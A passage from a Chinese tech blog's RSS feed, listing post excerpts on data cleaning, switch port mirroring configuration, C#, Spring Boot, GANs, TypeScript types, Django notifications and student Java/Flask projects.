    </item>
    <item>
      <title>数据清洗概念，方法及流程等等要点初探</title>
      <link>https://bchobby.github.io/posts/4b3e4b75b392000cf0e79653589c7962/</link>
      <pubDate>Tue, 26 Dec 2023 08:06:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b3e4b75b392000cf0e79653589c7962/</guid>
      <description>数据清洗(Data Cleaning)是把数据记录中的错误数据辨认识别出来，然后将其去除，是对数据重新进行检查和校验的过程。数据清洗的目标是去除重复记录，消除异常数据，修正错误数据，确保数据一致性，并提高数据质量。数据仓库是关于特定主题的数据集合，数据来自不同类型的业务系统，并包含历史性数据，这样，在数据仓库中就会出现错误数据或者冲突数据的情况，将这类数据称为“脏数据”。根据确切的清洗规则和算法“洗掉”“脏数据”，这就是数据清洗。 近年来，数据库钻研团队对数据清洗非常关注，并且常常将数据清洗与数据仓库、数据挖掘以及数据关联关系联系在一起。钻研团队整合视图的研究目标是调和概念层面的差异，对整合框架、调解制度、原则冲突等综合性学习进行研究。对于数据清洗过程的下一步，分层和数据差异的例子几乎没有被注意。研究数据清洗和视图集成工作相辅相成，并实现了全局性的调和架构。但是，实例级别的数据调整面临着挑战，当需要将来自多个数据源的数据进行整合时，比如，在网络信息系统或数据仓库中，数据清洗的意义变得尤为重要，因为不同类型的数据源通常以不同的形式出现。剖析“脏数据”出现的原因以及其存在的形式就是数据清洗的原理，使用相关的清洗软件或工具清洗数据，把“脏数据”变为“干净数据”，提高数据质量。从“脏数据”产生的源头对数据进行剖析，对数据集进行全盘考察，进而提取数据清洗规则，最终，利用所提取的清洗规则发现数据集中的“脏数据”，然后对该类数据进行清洗。 数据清洗方式主要分为手动清洗，全机清洗，人机同步清洗和人机异步清洗四种类型。 (1)手动清洗：对较大的数据集来说，因为人工的限制，对数据清洗的准确性和速率会有所下降，所以，在公司业务体系中较小的数据集上通常会使用这种清洗方式。优点是准确率相对较高，缺点是执行速度较慢。 (2)全机清洗：依据具体清洗方案，编写清洗程序，自动清洗数据。优点是清洗自动化，把人解脱出来，缺点是实现过程复杂，后期维护困难。 (3)人机同步清洗：对于某些特殊的清洗，只能通过数据清洗程序才能实现，设计人机交互的界面，采取人工和机器辅助的方式，当清洗程序无法处理数据时，将通过人工干预等方式进行处理。优点是降低编写程序复杂度，减少大量人工操作，缺点是需人工实时参与。 (4)人机异步清洗：在对数据进行清洗的过程中，当遇到程序不能处理的问题时，不需人工直接参与，只需将异常情况记录下来生成相应的报告，然后继续进行清洗工作，人工则只需按照报告在后期进行相应的处理便可。优点是节约人力，提高清洗效果，是一种可行的清洗方式。 一般情况下，需要进行清洗的数据包括下列几种数据类型。 (1)缺损数据 缺损数据是指数据的一些信息缺失损坏，比如，业务体系中的主表与明细表不匹配、分公司的名称信息缺失损坏等，这些数据将从数据集中过滤出来，按照缺失内容的差异性将其分别写到不同类型的文档中，而后提交给客户，要求其在指定的时间内，根据所提出来的数据清洗框架、清洗规则和清洗算法进行补全，然后将其写入数据仓库。 缺 失 数 据 清 洗 ( missing values imputation) 。完善缺失数据是数据清洗领域面临的另一个重要问题。如图 2 所示，在现实世界中，由于手动输入的失误操作、部分信息需要保密或者数据来源不可靠等各种各样的原因，使得数据集中的内容残缺不完整。比如某条记录的属性值被标记为 NULL \、空缺或“未知”等。一旦不完整、不准确的数据用于挖掘，则会影响抽取模式的正确性和导出规则的准确性。当错误的数据挖掘模型应用于前端的决策系统时，就会导致分析结果和执行决策出现严重偏差。&#xA;当前有很多方法用于缺失值清洗，可以分为两类:&#xA;( a) 忽略不完整数据。直接通过删除属性或实例，忽略不完整的数据。在数据集规模不大、不完整数据较少的情况下，常常利用该方法来实现数据清洗。&#xA;该方法因为执行效率高，因此经常作为缺省方法，但缺点也相当明显。如果不完整数据集较大，一旦删除了若干记录之后，因为剩余的数据集规模较小，使得模型的构建不具备普适性和代表性，无法让人信赖，可靠度大大降低。另外，因为删除不完整数据带来的数据集偏差也使得数据挖掘的分类、聚类模型产生严重倾斜，进而影响最终的挖掘结果，产生重大决策性误导。&#xA;( b) 基于填充技术的缺失值插补算法。上一种忽略法很有可能将潜在的有价值信息也一并删除。因此更多的时候选择填充不完整的数据。为了填充缺失值，用最接近缺失值的值来替代它，保证可挖掘数据的数量和质量。填充方法保留了潜在的有用数据，和删除属性或记录相比，保留了更多数据样本，不易于产生数据分析偏差，由此构建的模型更可靠，更有说服力。目前常用的缺失值填充算法大体分为两大类，一类是统计学方法，另一类是分类、聚类方法。&#xA;采用统计学方法填充缺失值。分析数据集，获取数据集的统计信息，利用数值信息填充缺失值。其中最简单的方法是平均值填充方法。它把所有完整数据的算术平均值作为缺失数据的值。这种方法的弊端在于有可能会影响缺失数据与其他数据之间原本的相关性。如果规模较大的数据集的缺失值全部采用平均值填充法进行填充，因为过多的中值存在，更多的尖峰态频率分布有可能会误导挖掘结果。&#xA;采用分类、聚类方法填充缺失值。分类是在已有类标号的基础上，通过输入训练样本数据集，构造出分类器( 如分类函数或者分类模型) 。常用的数据分类技术包括决策树、神经网络、贝叶斯网络、粗糙集理论、最临近分类法等。利用完整记录与缺失记录之间的记录相似度，通过最大相似度的计算，结合机器学习的相关技术，建立最大可能的完整的数据模型。聚类是在不考虑类标号的前提下，寻求类间的相似性，目的也是在海量的数据聚集的基础上，构建较小的代表性的数据集，并基于该集合进一步分析和研究。常见的缺失值填充算法包括 EM 最大期望值算法( expectation－maximization algorithm ) 、MI 算 法 ( multiple imputation) 和 KNNI 算法( k－nearest neighbor imputation) 等。其中最大期望算法通过创建概率模型，寻找参数最大似然估计值或者最大后验估计值，概率模型的成功与否依赖于无法观测的隐藏变量( latent variable)。&#xA;(2)错误数据 错误数据出现的原因主要是不够完善的业务体系，没有判别所接收到的输入数据是否与业务准则相符，直接将其写入到后台数据库中。先对错误数据进行分类，而后经过 SQL 语句寻找出来，根据客户请求在业务体系中修改，最终再对其进行抽取。数据类型不一致或日期格式不正确等问题同样会导致数据清洗失败，对于此类型的错误问题，需要在业务系统的数据库中通过 SQL 语句将其找出，交给业务部门进行修改，然后再对其进行抽取。 噪声数据处理( noise treatment) 。数据挖掘前，往往假设数据集不存在任何数据干扰。然而，实际应用中却因为各种原因，在数据收集、整理的过程中，产生大量的噪声数据，即“离群点”。因为噪声数据不在合理的数据域内，所以分析、挖掘过程中输入和输出数据的质量难以保证，容易造成后续的挖掘结果不准确、不可靠，如图 3 所示。常用的消除噪声数据的方法分为两种。</description>
    </item>
    <item>
      <title>交换机端口镜像技术原理与配置</title>
      <link>https://bchobby.github.io/posts/62a259532642d4a239b5142a4c103449/</link>
      <pubDate>Tue, 26 Dec 2023 07:56:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62a259532642d4a239b5142a4c103449/</guid>
      <description>在网络维护的过程中会遇到需要对报文进行获取和分析的情况，比如怀疑有攻击报文，此时需要在不影响报文转发的情况下，对报文进行获取和分析。镜像技术可以在不影响报文正常处理流程的情况下，将镜像端口的报文复制一份到观察端口，用户利用数据监控设备来分析复制到观察端口的报文，进行网络监控和故障排除。 数据采集的作用 业务实时监控：大型网络或数据中心一般会在汇聚点设置监控系统实时监测网络数据流量信息，防范和防止业务的异常。故障处理分析：一些疑难杂症的故障需通过采集实际的报文信息来找到更加明显的线索。网络流量优化：当网络系统发展到一定规模，对数据流量地精细化控制变的尤为重要。只有实际采集现网的真实数据流量，通过专业的流量分析系统定位出网络的各种问题，并为此提出优化解决方案。 数据采集的方法 分光器物理采集：利用物理器件分光器插入连接的链路当中，复制出正常的数量流到采集器上面。采集的数据完整可靠，只在中间链路上操作，完全不影响被采集设备的性能，也不占用链路带宽。缺点是每次采集要做物理动作切入，相对繁琐且有风险。适合网络业务出入口大型设备的数据流采集，常用于连接IDS设备的网络环境。NMS集中采集：利用通用标准协议SNMP协议传送标准的MIB数据，采集整网的配置信息和设备端口数据流信息。优点是可以采集整网设备节点信息。缺点是针对接口的数据流信息采集不够精细和完整，大部分是统计信息。适合网管中心查看设备的参数和性能以及业务信息统计。 镜像概述 镜像定义将镜像端口（源端口）的报文复制一份到观察端口（目的端口）。镜像作用获取完整报文用于分析网络状况。镜像优点不影响原有网络，快捷方便。采集的是实时数据流，真实可靠。镜像的特点：在网络维护的过程中会遇到需要对报文进行获取和分析的情况，比如怀疑有攻击报文，此时需要在不影响报文转发的情况下，对报文进行获取和分析。镜像可以在不影响报文正常处理流程的情况下，将镜像端口的报文复制一份到观察端口，用户利用监控设备来分析复制到观察端口的报文，进行网络监控和故障排除。镜像支持将多端口的流量镜像到同一个观察端口，配置时没有数量限制，但是需要考虑观察端口实际的流量是否超过其转发能力，即实际流量是否超过此观察端口的最大带宽。如果在主接口做端口镜像，会将子接口流量也镜像到观察端口。 镜像的角色 镜像端口：镜像端口是被监控的端口，从镜像端口流经的所有报文或匹配流分类规则的报文将被复制到观察端口。观察端口：观察端口是连接监控设备的端口，用于输出从镜像端口复制过来的报文。 本地端口镜像配置需求 某企业中，办公区1和办公区2用户分别通过接口Eth2/0/1、Eth2/0/2接入Router。一台监控设备接在Router的接口Eth2/0/3上，用于数据分析监控。为保证企业的信息安全，用户希望通过监控设备对办公区1和办公区2发送的所有报文进行监控。 配置思路：在Router上将接口Eth2/0/3配置为本地观察端口。 在Router上将接口Eth2/0/1和Eth2/0/2配置为镜像端口，实现对接口报文进行监控。 本地端口镜像配置实现 配置命令： observe-port interface Ethernet2/0/3 // 将 E2/0/3 接口配置为观察端口。 # interface Ethernet2/0/1 mirror to observe-port inbound // 将 E2/0/1 接口配置为镜像端口，镜像所有入方向报文。 # interface Ethernet2/0/2 mirror to observe-port inbound // 将 E2/0/2 接口配置为镜像端口，镜像所有入方向报文。 流镜像配置需求 某企业中，市场部用户通过接口Eth2/0/0接入路由器RTA。一台监控设备接在RTA的接口Eth2/0/1上，用于数据分析监控。用户希望监控市场部IP地址为192.168.1.10的主机发出的所有报文。流镜像：将镜像端口上特定业务流的报文传送到监控设备进行分析和监控。在流镜像中，镜像端口应用了特定的流策略。如果从镜像端口流经的报文匹配流策略，则将被复制并传送到监控设备。配置思路：将接口Eth2/0/1配置为本地观察端口。 配置流镜像策略，并在接口Eth2/0/0入方向上应用流策略，将匹配源IP地址为192.168.1.10的报文复制到本地观察端口。 流镜像配置实现 配置命令： observe-port interface Ethernet2/0/1 // 将端口 E2/0/1 定义为观察端口。 # acl number 2000 // 用 ACL 匹配 IP 为 192.168.1.10 主机。 rule 5 permit source 192.</description>
    </item>
    <item>
      <title>C#基础语法的学习</title>
      <link>https://bchobby.github.io/posts/bf636c52c8f189376a0ed946e61b51d4/</link>
      <pubDate>Tue, 26 Dec 2023 03:00:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf636c52c8f189376a0ed946e61b51d4/</guid>
      <description>学习基础 已经学过一门面向对象的语言和C语言基础&#xA;本文按找基本介绍,物质,运动,类的顺序进行介绍&#xA;.NET 概述 什么是 .NET .NET(dotnet)是微软公司发布的应用程序框架 ,用以减轻软件开发人员的工作 .它包括一系列类库、运行时等内容 .&#xA;在生成一个 .NET 程序时 ,代码翻译成微软中间语言 (MSIL, Microsoft Intermediate Language)的可执行文件 .&#xA;执行该可执行文件时 ,将启动对应 .NET 框架的“公共语言运行时 (CLR, Common Language Runtime)” ,由该 CLR 将 MSIL 编译为机器码执行 ,称作 JIT 编译 (just-in-time compilation) .&#xA;所以,由.net开发的程序的优点&#xA;可以跨平台(使用不同的CLR编译)可以通过一些工具,如dnspy,反编译出其源代码轻松实现垃圾回收 (GC, Garbage Collection) .NET历史 .NET Framework: 微软推出的框架名字叫“.NET Framework” ,闭源且只能在 Windows 上运行&#xA;.NET Core: 后来,微软拥抱开源与跨平台 ,推出了“.NET Core”框架 ,该框架开源 ,并且支持多种操作系统 ,&#xA;.NET: 并且随着 .NET Core 版本的更迭 ,.NET Framework 支持的功能也逐渐向 .NET Core 迁移 .</description>
    </item>
    <item>
      <title>web前端项目-七彩夜空烟花【附源码】</title>
      <link>https://bchobby.github.io/posts/0e6715b94850276a0c955be226b8fd27/</link>
      <pubDate>Tue, 26 Dec 2023 02:30:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e6715b94850276a0c955be226b8fd27/</guid>
      <description>web前端项目-七彩动态夜空烟花【附源码】 本项目仅使用了HTML，代码简单，实现效果绚丽，且本项目代码直接运行即可实现，无需图片素材，接下来让我们一起实现一场美丽的烟花秀叭&#xA;运行效果：鼠标点击和移动可控制烟花方向，烟花颜色自动变化&#xA;HTML源码 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html dir=&#34;ltr&#34; lang=&#34;zh-CN&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34; /&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width&#34; /&amp;gt; &amp;lt;title&amp;gt;Enjoy fireworks&amp;lt;/title&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;http://g.huceo.com/weixin/qw/jquery.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; var dataForWeixin = { appId: &#34;gh_ff79a97cd7f3&#34;, url: &#34;http://g.huceo.com/weixin/yh/en/&#34;, title: &#34;Lonely fireworks shows, if you feel good, please share the wechat！&#34;, desc: &#34;Lonely fireworks shows, if you feel good, please share the wechat！&#34; }; var onBridgeReady = function(){ WeixinJSBridge.on(&#39;menu:share:appmessage&#39;, function(argv){ var infos = $(&#34;#infos&#34;).text(); WeixinJSBridge.invoke(&#39;sendAppMessage&#39;, { &#34;</description>
    </item>
    <item>
      <title>Spring Boot3 Web开发技术</title>
      <link>https://bchobby.github.io/posts/dc8e0707cd5b11bce60fce617cea2f8e/</link>
      <pubDate>Mon, 25 Dec 2023 23:42:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc8e0707cd5b11bce60fce617cea2f8e/</guid>
      <description>前期回顾 springboot项目常见的配置文件类型有哪些？哪种类型的优先级最高 yml properties yaml&#xA;读取配置文件里的数据用什么注解？ @value&#xA;restful风格 RESTful 风格与传统的 HTTP 请求方式相比，更加简洁，安全，能隐藏资源的访问行为，无法从访问地址得知对资源是何种操作&#xA;可见很多 RESTful 风格的访问地址都是一样的，只用行为动作区分了不同的访问，对外隐藏了真实的操作。此外，资源描述部分一般用复数，如 books，当然这种操作是只是一种约定，不是规范，但大多数人都这样做。&#xA;@RestController @RequestMapping(&#34;/users&#34;) public class UserController { @PostMapping public String addUser(@RequestBody UserInfo userInfo){ System.out.println(&#34;新增用户信息：&#34;+userInfo); return &#34;新增用户成功&#34;; } @DeleteMapping(&#34;/{id}&#34;) public String del(@PathVariable Integer id){ System.out.println(&#34;删除用户ID：&#34;+id); return &#34;删除用户成功&#34;; } @PutMapping public String update(@RequestBody UserInfo userInfo){ System.out.println(&#34;修改后&#34;); return &#34;修改用户成功&#34;; } @GetMapping(&#34;/{id}&#34;) public String getUser(@PathVariable Integer id){ System.out.println(&#34;用户ID：&#34;+id); return &#34;查询用户ID成功！&#34;; } @GetMapping public String getUsers(){ System.out.println(&#34;查询所有的用户&#34;); return &#34;查询所有的用户&#34;; } } 利用postman测试</description>
    </item>
    <item>
      <title>【Image】GAN的超详细解释（以及奇怪的问题）</title>
      <link>https://bchobby.github.io/posts/9059fb13211a6c2ed23ea2b7057397c3/</link>
      <pubDate>Mon, 25 Dec 2023 23:26:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9059fb13211a6c2ed23ea2b7057397c3/</guid>
      <description>GAN原理 工作流程 下面是生成对抗网络（GAN）的基本工作原理&#xA;在GAN的架构中，有两个关键的组件：生成器（Generator）和鉴别器（Discriminator）。&#xA;生成器（Generator）：其功能是从随机噪声生成数据。在这个上下文中，它试图生成类似于真实数据的新数据。目的是创建足够真实的数据以欺骗鉴别器。&#xA;鉴别器（Discriminator）：它的任务是鉴别输入数据是真实的还是由生成器生成的假数据。简言之，它需要决定输入数据是“真”还是“假”。&#xA;工作过程：&#xA;真实数据会被输入到鉴别器中。同时，生成器产生的数据也会被送入鉴别器。鉴别器会对这两种数据进行分类，将其标记为“真”或“假”。 学习方式：生成器和鉴别器是以对抗的方式进行学习的。生成器试图生成越来越真实的数据来欺骗鉴别器，而鉴别器则试图变得更加精确以区分真实数据和生成的数据。这个过程会不断循环，随着时间的推移，生成器产生的数据会越来越接近真实数据，而鉴别器的判断能力也会越来越强（有点类似于左脚踩右脚原地起飞）。&#xA;数学解释 当然，上面的解释只是语言层面的，GAN的原理同样可以从数学上进行解释&#xA;min ⁡ G max ⁡ D V ( D , G ) = E x ∼ p data ( x ) [ log ⁡ D ( x ) ] + E z ∼ p z ( z ) [ log ⁡ ( 1 − D ( G ( z ) ) ) ] \min_{G} \max_{D} V(D, G) = \mathbb{E}_{x \sim p_{\text{data}}(x)}[\log D(x)] + \mathbb{E}_{z \sim p_{z}(z)}[\log(1 - D(G(z)))] Gmin​Dmax​V(D,G)=Ex∼pdata​(x)​[logD(x)]+Ez∼pz​(z)​[log(1−D(G(z)))]</description>
    </item>
    <item>
      <title>ts相关笔记（类型层级）</title>
      <link>https://bchobby.github.io/posts/7335e737927a188b0b40be6a9ba23482/</link>
      <pubDate>Mon, 25 Dec 2023 23:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7335e737927a188b0b40be6a9ba23482/</guid>
      <description>最近刷了本ts小册，对一些知识点做下笔记。以输出的方式来输入！&#xA;type VerboseTypeChain = never extends &#39;abc&#39; ? &#39;abc&#39; extends &#39;abc&#39; | &#39;bca&#39; ? &#39;abc&#39; | &#39;bca&#39; extends string ? string extends {} ? string extends String ? String extends {} ? {} extends object ? object extends {} ? {} extends Object ? Object extends {} ? object extends Object ? Object extends object ? Object extends any ? Object extends unknown ? any extends unknown ? unknown extends any ?</description>
    </item>
    <item>
      <title>django的通知和信号量</title>
      <link>https://bchobby.github.io/posts/d8752f5c5b6878a6f17a55c53514fecd/</link>
      <pubDate>Mon, 25 Dec 2023 23:10:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8752f5c5b6878a6f17a55c53514fecd/</guid>
      <description>通知 Django 本身并没有内置的通知系统，但有一些第三方库提供了通知的实现，其中比较常用的是 django-notifications。下面是关于 Django 通知的实现方式和一些基本概念：&#xA;安装 django-notifications：&#xA;pip install django-notifications 添加应用到 INSTALLED_APPS： # settings.py INSTALLED_APPS = [ # ... &#39;notifications&#39;, ] 运行迁移： python manage.py makemigrations python manage.py migrate 使用 notifications 库：&#xA;发送通知： from django.contrib.auth.models import User from notifications.signals import notify 发送通知&#xA;recipient_user = User.objects.get(username=&#39;recipient_user&#39;) actor_user = User.objects.get(username=&#39;actor_user&#39;) notify.send(actor_user, recipient=recipient_user, verb=&#39;You have a new message.&#39;) 接收通知&#xA;# 在视图或其他地方获取用户的通知 notifications = Notification.objects.filter(recipient=request.user) 渲染通知模板：&#xA;# 在模板中渲染通知 {% for notification in notifications %} {{ notification.</description>
    </item>
    <item>
      <title>Java毕业设计174例，包含部署视频</title>
      <link>https://bchobby.github.io/posts/aa300000b08a98537317108f01b87d7b/</link>
      <pubDate>Mon, 25 Dec 2023 22:44:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa300000b08a98537317108f01b87d7b/</guid>
      <description>包含部署视频：&#xA;1、基于ssh的婴幼儿产品销售系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;2、基于jsp的医院管理住院系统毕业设计（项目报告+答辩PPT+源代码+数据库+部署视频）&#xA;3、基于ssh的医院在线挂号系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;4、基于jsp的项目管理平台系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;5、基于jsp的物流信息网系统毕业设计(项目报告+答辩PPT+源代码+数据库+部署视频)&#xA;6、基于jsp的影视创作论坛系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;7、基于jsp的银行柜员业务绩效考核系统毕业设计（项目报告+源代码+数据库+部署视频）&#xA;8、基于ssh的任务调度系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;9、基于jsp的洋酒销售系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;10、基于jsp的物资管理系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;11、基于java的机场航班起降与协调管理系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;12、基于jsp的高校固定资产管理系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;13、基于java的土地档案管理系统毕业设计(项目报告+答辩PPT+源代码+数据 库+部署视频)&#xA;14、基于jsp的电脑彩票销售管理系统毕业设计(项目报告+答辩PPT+源代码+部署视频)&#xA;15、基于java的网络版坦克大战游戏系统毕业设计(项目报告+答辩PPT+源代码+数据库+部署视频)&#xA;16、基于java的个人博客系统毕业设计(项目报告+答辩PPT+源代码+数据库+部署视频)&#xA;17、基于jsp的城市公交查询系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;18、基于java的推箱子游戏系统毕业设计(项目报告+答辩PPT+源代码+部署视频)&#xA;19、基于jsp的网上体育商城系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;20、基于jsp的电子服务网站系统毕业设计（项目报告+源代码+数据库+部署视频）&#xA;21、基于java的愤怒的小鸟游戏系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;22、基于jsp的网上购物系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;23、基于jsp的超市积分管理系统毕业设计（项目报告+源代码+数据库+部署视频）&#xA;24、基于jsp的网上购书系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;25、基于java的俄罗斯方块游戏系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;26、基于jsp的车辆管理系统毕业设计(项目报告+源代码+数据库+部署视频)&#xA;27、基于java的陶瓷工厂进销存管理系统毕业设计（项目报告+答辩PPT+源代码+数据库+部署视频）&#xA;28、基于jsp的网上订餐管理系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;29、基于java的飞机大战游戏系统毕业设计(项目报告+源代码+部署视频)&#xA;30、基于jsp的产品售后服务管理系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;31、基于java的商品供应管理系统毕业设计（项目报告+答辩PPT+源代码+数据库+部署视频）&#xA;32、基于jsp的网络spider技术的网络新闻分析系统毕业设计（项目报告+源代码+数据库+部署视频）&#xA;33、基于jsp的财务管理系统与实现(项目报告+中期报告+答辩PPT+源代码+数据库+部署视频)&#xA;34、基于java的搜索引擎系统毕业设计（项目报告+开题报告+答辩PPT+源代码+数据库+部署视频）&#xA;35、基于jsp的企业快信系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;36、基于jsp的采购管理系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;37、基于jsp的挖掘机配件营销系统毕业设计( 项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;38、基于java的私人牙科诊所管理系统毕业设计(项目报告+答辩PPT+源代码+数据库+ 截图+部署视频)&#xA;39、基于java的宠物管理系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;40、基于java的出租车计价器系统毕业设计(项目报告+答辩PPT+源代码+数 据库+截图+部署视频)&#xA;41、基于jsp的企业员工信息管理系统毕业设计（项目报告+答辩PPT+源代码+数据库+部署视频）&#xA;42、基于jsp的web仓库管理系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;43、基于java的保险业务管理系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;44、基于java网站即时通讯系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;45、基于jsp的农产品销售管理系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;46、基于java的扫雷游戏系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;47、基于java的病历管理系统毕业设计(项目报告+源代码+数据库+部署视频)&#xA;48、基于jsp的百货中心供应链管理系统毕业设计(项目报告+源代码+数据库+部署视频)&#xA;49、基于java的模拟写字板系统毕业设计(项目报告+开题报告+答辩PPT+源代码+部署视频)&#xA;50、基于jsp的企业电子投票系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;51、基于java的超级玛丽游戏系统毕业设计(项目报告+答辩PPT+源代码+部署视频)&#xA;52、基于java的聊天室系统毕业设计(项目报告+ 开题报告+答辩PPT+源代码+部署视频)&#xA;53、基于java的web停车场管理系统毕业设计(项目报告+开题报告+答辩PPT+ 源代码+数据库+部署视频)&#xA;54、基于java的旅游网站系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;55、基于jsp的酒店管理系统毕业设计(项目报告+答辩PPT+源代码+数据库+部署视频)&#xA;56、基于java的qq屏幕截图工具系统毕业设计(项目报告+答辩PPT+源代码+部署视频)&#xA;57、基于jsp的码头船只出行管理系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;58、基于java的web校园二手平台系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;59、基于jsp的进销存管理系统毕业设计(项目报告+答辩PPT+源代码+数据库+截图+部署视频)&#xA;60、基于java的敬老院管理系统毕业设计(项目报告+ 答辩PPT+源代码+数据库+截图+部署视频)&#xA;61、基于java+ssh的医院在线挂号系统毕业设计(项目报告+答辩PPT+源代码+数据库+部署视频)</description>
    </item>
    <item>
      <title>毕业设计：热门旅游景点大数据分析系统&#43;可视化 &#43;贝叶斯预测模型 旅游大数据 （附源码）✅</title>
      <link>https://bchobby.github.io/posts/14724aa37927e95362398aa83cec713f/</link>
      <pubDate>Mon, 25 Dec 2023 22:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14724aa37927e95362398aa83cec713f/</guid>
      <description>毕业设计：2023-2024年计算机专业毕业设计选题汇总（建议收藏）&#xA;毕业设计：2023-2024年最新最全计算机专业毕设选题推荐汇总&#xA;🍅感兴趣的可以先收藏起来，点赞、关注不迷路，大家在毕设选题，项目以及论文编写等相关问题都可以给我留言咨询，希望帮助同学们顺利毕业 。🍅&#xA;1、项目介绍 技术栈： Flask框架、requests爬虫、Echarts可视化、MySQL数据库、贝叶斯预测模型&#xA;利用网络爬虫技术从马蜂窝网站爬取各城市的景点旅游数据，根据马蜂窝旅游网的数据综合分析每个城市的热度、热门小吃和景点周边住宿，&#xA;可以很方便的通过浏览器端找到自己所需要的信息，获取到当前的热门目的地，根据各城市景点的数据，&#xA;周围小吃，住宿等信息，制定出适合自己的最佳旅游方案。&#xA;贝叶斯预测模型 （基于贝叶斯网络的热门城市预测模型）&#xA;根据城市的热门景点的数量、景点的评论人数、城市的小吃数量等特征，构建贝叶斯网络机器学习模型，通过对模型的训练，可实现对一个城市是否是热门旅游城市的预测。&#xA;2、项目界面 （1）各省份热门城市分析&#xA;（2）首页–注册登录&#xA;（3）热门城市的景点分析&#xA;（4）热门城市美食分析&#xA;（5）贝叶斯预测模型 （基于贝叶斯网络的热门城市预测模型）&#xA;（6）数据爬虫页面&#xA;3、项目说明 旅游大数据采集分析系统是基于Flask框架搭建的Web应用程序，主要用于采集、分析和可视化旅游相关的大数据。系统主要包括以下模块：&#xA;数据采集模块：使用requests爬虫库，通过爬取各种旅游相关网站的数据，包括景点信息、酒店信息、交通信息等，并将数据存储到MySQL数据库中。&#xA;数据处理模块：使用MySQL数据库进行数据的存储和管理，包括数据清洗、数据整合、数据分析等操作。可以使用贝叶斯预测模型对旅游数据进行预测和分析。&#xA;数据可视化模块：使用Echarts可视化库，将从数据库中提取的数据进行可视化展示，包括各种统计图表、地图等，以便用户更直观地了解旅游数据。&#xA;用户可以通过系统的前端界面，选择需要的数据分析和可视化功能，系统将根据用户的选择，从数据库中提取相应的数据进行处理和展示。用户可以通过系统的搜索功能，查找特定的旅游数据，并进行数据分析和预测，以便做出更好的决策。系统还提供导出数据的功能，用户可以将分析结果导出为Excel或CSV文件，以便进行进一步的分析或报告生成。&#xA;通过这个系统，用户可以更方便地获取和分析旅游相关的大数据，从而更好地理解市场需求、优化旅游产品和服务，提升旅游业的发展和竞争力。&#xA;4、核心代码 #!/usr/bin/python # coding=utf-8 import sqlite3 from flask import Flask, render_template, jsonify import json from collections import Counter import pandas as pd app = Flask(__name__) app.config.from_object(&#39;config&#39;) login_name = None # --------------------- html render --------------------- @app.route(&#39;/&#39;) def index(): return render_template(&#39;index.html&#39;) @app.route(&#39;/hot_city&#39;) def hot_city(): return render_template(&#39;hot_city.</description>
    </item>
    <item>
      <title>ts相关笔记（extends、infer、Pick、Omit）</title>
      <link>https://bchobby.github.io/posts/4a33e320521dbd17449287c6360c25b4/</link>
      <pubDate>Mon, 25 Dec 2023 22:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a33e320521dbd17449287c6360c25b4/</guid>
